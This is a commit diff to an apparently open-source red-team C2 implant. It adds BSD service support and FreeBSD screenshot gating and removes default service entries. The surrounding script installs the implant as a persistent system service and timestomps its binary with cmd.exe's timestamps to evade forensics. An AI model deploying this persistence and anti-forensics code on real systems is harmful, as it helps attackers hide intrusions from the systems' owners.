Skip to content

Commit a2687e6

Browse files
Update screenshot impl and install script for BSD support (#2120)
- Update `bsdinit_template` in `main.eldritch` to daemonize the process properly using `/usr/sbin/daemon` and correctly pass flags. - Adjust condition checking for BSD in `main.eldritch` to rely on `PLATFORM_BSD`. - Remove the empty `service_configs` default entries in `main.eldritch`. - Modify `Cargo.toml` and `screenshot_impl.rs` in `eldritch-libreport` to explicitly check `not(any(target_os = "linux", target_os = "freebsd"))` when restricting Xcap and Image screenshot functionalities, extending identical Linux limitations to FreeBSD. Co-authored-by: google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com>
1 parent acfcf79 commit a2687e6

File tree

3 files changed

+9
-30
lines changed

3 files changed

+9
-30
lines changed

implants/imix/install_scripts/install_service/main.eldritch

Lines changed: 5 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -153,9 +153,9 @@ name="{{ service_name }}"
153153
rcvar="{{ service_name }}_enable"
154154

155155
# The command to start the service
156-
command="{{ service_start_cmd }}"
156+
command="/usr/sbin/daemon"
157157
# Additional command arguments if any
158-
command_args=""
158+
command_args="-f {{ service_start_cmd }}"
159159

160160
# Load the rc.subr script
161161
load_rc_config $name
@@ -226,7 +226,7 @@ def is_using_sysvinit():
226226
def is_using_bsdinit():
227227
# Lol this is how ansible does it too :shrug:
228228
# https://github.com/ansible/ansible/blob/386edc666ec2a053b4d576fc4b2deeb46fe492b8/lib/ansible/module_utils/facts/system/service_mgr.py#L124
229-
if sys.get_os()['platform'] == "BSD":
229+
if sys.get_os()['platform'] == "PLATFORM_BSD":
230230
return True
231231
return False
232232

@@ -368,7 +368,7 @@ def persist_service(service_name, service_desc, executable_path, executable_args
368368
sys.shell(f"""powershell /c "\$src = Get-Item 'C:\\Windows\\System32\\cmd.exe'; \$tgt = Get-Item '{executable_path}'; $tgt.CreationTime = $src.CreationTime; $tgt.LastWriteTime = $src.LastWriteTime; $tgt.LastAccessTime = $src.LastAccessTime" """)
369369
windows_service_manager(
370370
service_name, windows_display_name, service_desc, executable_path, executable_args)
371-
elif sys.get_os()['platform'] == "BSD":
371+
elif sys.get_os()['platform'] == "PLATFORM_BSD":
372372
file.copy(src_path, executable_path)
373373
if is_using_bsdinit():
374374
bsdinit(service_name, service_desc,
@@ -400,7 +400,7 @@ def get_executable_paths(name):
400400
return[ "/var/root/"+name]
401401
elif sys.is_windows():
402402
return ["C:\\Windows\\System32\\"+name+".exe"] # ok
403-
elif sys.get_os()['platform'] == "BSD":
403+
elif sys.get_os()['platform'] == "PLATFORM_BSD":
404404
return ["/bin/"+name]
405405
return False
406406

@@ -440,27 +440,6 @@ it after running the install.
440440
def main():
441441
config_data = {
442442
"service_configs": [
443-
{
444-
"name": "imixsvc1",
445-
"windows_display_name": "Imix c2 agent",
446-
"description": "Imix C2 Agent",
447-
"executable_name": "imix1",
448-
"executable_args": ""
449-
},
450-
{
451-
"name": "imixsvc2",
452-
"windows_display_name": "Imix c2 agent",
453-
"description": "Imix C2 Agent",
454-
"executable_name": "systemd-imix2",
455-
"executable_args": ""
456-
},
457-
{
458-
"name": "imixsvc3",
459-
"windows_display_name": "Imix c2 agent",
460-
"description": "Imix C2 Agent",
461-
"executable_name": "imix3",
462-
"executable_args": ""
463-
}
464443
]
465444
}
466445
parse_and_persist(config_data)

implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ spin = { version = "0.10.0", features = ["rwlock"] }
1313
glob = { workspace = true }
1414
log = { workspace = true }
1515

16-
[target.'cfg(not(target_os = "linux"))'.dependencies]
16+
[target.'cfg(not(any(target_os = "linux", target_os = "freebsd")))'.dependencies]
1717
xcap = { workspace = true, optional = true }
1818
image = { version = "0.25", optional = true }
1919

implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
use alloc::sync::Arc;
22
use eldritch_agent::{Agent, Context};
33

4-
#[cfg(not(target_os = "linux"))]
4+
#[cfg(not(any(target_os = "linux", target_os = "freebsd")))]
55
use {
66
alloc::format,
77
alloc::string::{String, ToString},
@@ -36,14 +36,14 @@ fn get_hostname() -> String {
3636
"unknown".to_string()
3737
}
3838

39-
#[cfg(target_os = "linux")]
39+
#[cfg(any(target_os = "linux", target_os = "freebsd"))]
4040
pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
4141
return Err(
4242
"This OS isn't supported by the screenshot function.\nOnly windows and mac systems are supported".to_string()
4343
);
4444
}
4545

46-
#[cfg(not(target_os = "linux"))]
46+
#[cfg(not(any(target_os = "linux", target_os = "freebsd")))]
4747
pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
4848
let monitors = Monitor::all().map_err(|e| e.to_string())?;
4949

0 commit comments

Comments
 (0)